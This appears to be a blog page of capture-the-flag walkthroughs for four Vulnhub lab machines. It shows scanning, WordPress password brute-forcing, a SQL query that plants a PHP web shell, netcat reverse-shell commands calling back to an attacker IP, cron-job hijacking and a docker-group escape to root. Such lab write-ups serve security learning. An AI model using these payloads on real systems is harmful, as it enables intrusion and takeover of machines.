LemonSqueezy:1 - Walkthrough [Vulnhub]

Here's my solution for LemonSqueezy:1.
The machine can be downloaded from here.

Port Scanning
Using nmap for scanning all TCP ports.
$ nmap -sC -sV -p- 192.168.1.106


We find 1 port open.

Enumeration
Browsing the web, we see an apache2 default page.

Using dirb for scanning directories.
$ dirb http://192.168.1.106 -r


Interesting, a /wordpress directory. Let us browse it.

By looking the status bar seems we need to map the ip to host name. We can do this my editing the host file.


Now we browse /wordpress again. We observe that it is build on CMS- Wordpress.


We use wpscan to enumerate all plugins and users.
$ wpscan --url http://lemonsqueezy/wordpress/ -e ap,u



No plugins are found but wpscan did find users for us. As we have usernames we can try to brute force the password.
$ wpscan --url http://lemonsqueezy/wordpress/ -U orange -P /usr/share/wordlists/rockyou.txt


We have the password as- ginger for the user- orange.

We browse the login page, and login with the below details.
Username: orange
Password: ginger


We navigate to Posts.

Lets check this post- Keep this safe!.


This seems like a password.

Getting Access
We browse /phpmyadmin and login with username as- orange and password as- n0t1n@w0rdl1st!

We navigate to SQL tab and enter the payload to upload the shell.
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wordpress/rshell.php"

Let us execute some commands by browsing /wordpress/rshell.php?cmd=command-here



Seems all is working fine, now we execute the payload to get the reverse shell. And on the other hand we start the netcat listener.




We get the reverse shell.

We navigate to /var/www to get the user flag.


 
Privilege Escalation
We check for cron jobs.
$ cat /etc/crontab


We find one which runs every 2 minute as user- root.

We also find that we have full permission on the file.

As we have full permission we edit the file and place the payload to get another reverse shell and on the other hand we start the netcat listener.


We get a root shell, lets get the root flag.

Here's my solution for Sunset:Noontide. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.109 We find 3 ports (UnrealIRCd) open. Enumeration We search the exploit for UnrealIRCd and we find it here.     Getting Access To exploit we simply run the nmap command with the reverse shell payload and on the other hand we start the netcat listener. $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.1.108 1234' 192.168.1.109 We get the reverse shell. User Flag. Privilege Escalation We find that user- root has the default password- root. Lets switch to user- root and get the root flag. $ su root Password: root

Here's my solution for CyberSploit:2. The Machine can be downloaded from here Nmap Starting with nmap scanning for all TCP open ports. nmap -sC -sV -p- 192.168.1.103 We find only 2 open ports. Enumeration Browsing the website, show list of usernames and passwords. Checking the source code reveal us a hint- ROT47. While browsing the website, we see a strange username- D92:=6?5C2 and its associated password as- 4J36CDA=@:E` From the hint we can guess that the username and password can be ROT47 encoded. Browsed Decode.fr to decode it, and we get the credentials as- username: shailendra password: cybersploit1 Getting Access Tried ssh with credential, and we get the access. ssh shailendra@192.168.1.1 password: cybersploit1 Found a file named as hint.txt, which gives a hint as docker, it can be used for privilege escalation, also the user is a member of docker group. Privilege Escalation docker run -v /:/mnt --rm -it alpine chroot /mnt sh And we get the flag

Here's my solution for BBS(cute):1.0.1. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.111 We find 5 ports open. Enumeration Browsing the web hosted on port 80 (Default HTTP Port). We do not find any useful information lets run the dirb for scanning directories. $ dirb http://192.168.1.111 -r Browsing /index.php We see that it is built on CMS- CuteNews and its version 2.1.2 We search for the exploit and found it here.   Lets get this exploit. Getting Access But before running the exploit we need to make some changes. We remove all /CuteNews from the exploit code, in order to run it successfully. Done with the changes, now we run the exploit. $ python3 48800.py We provide the required information that is, the URL and hit enter. The commands are running fine, but we are not able to navigate to different directories, hence we try to get the normal reverse shell. We see netcat is present, we enter the payload. $ nc -e /bin/bash 19...
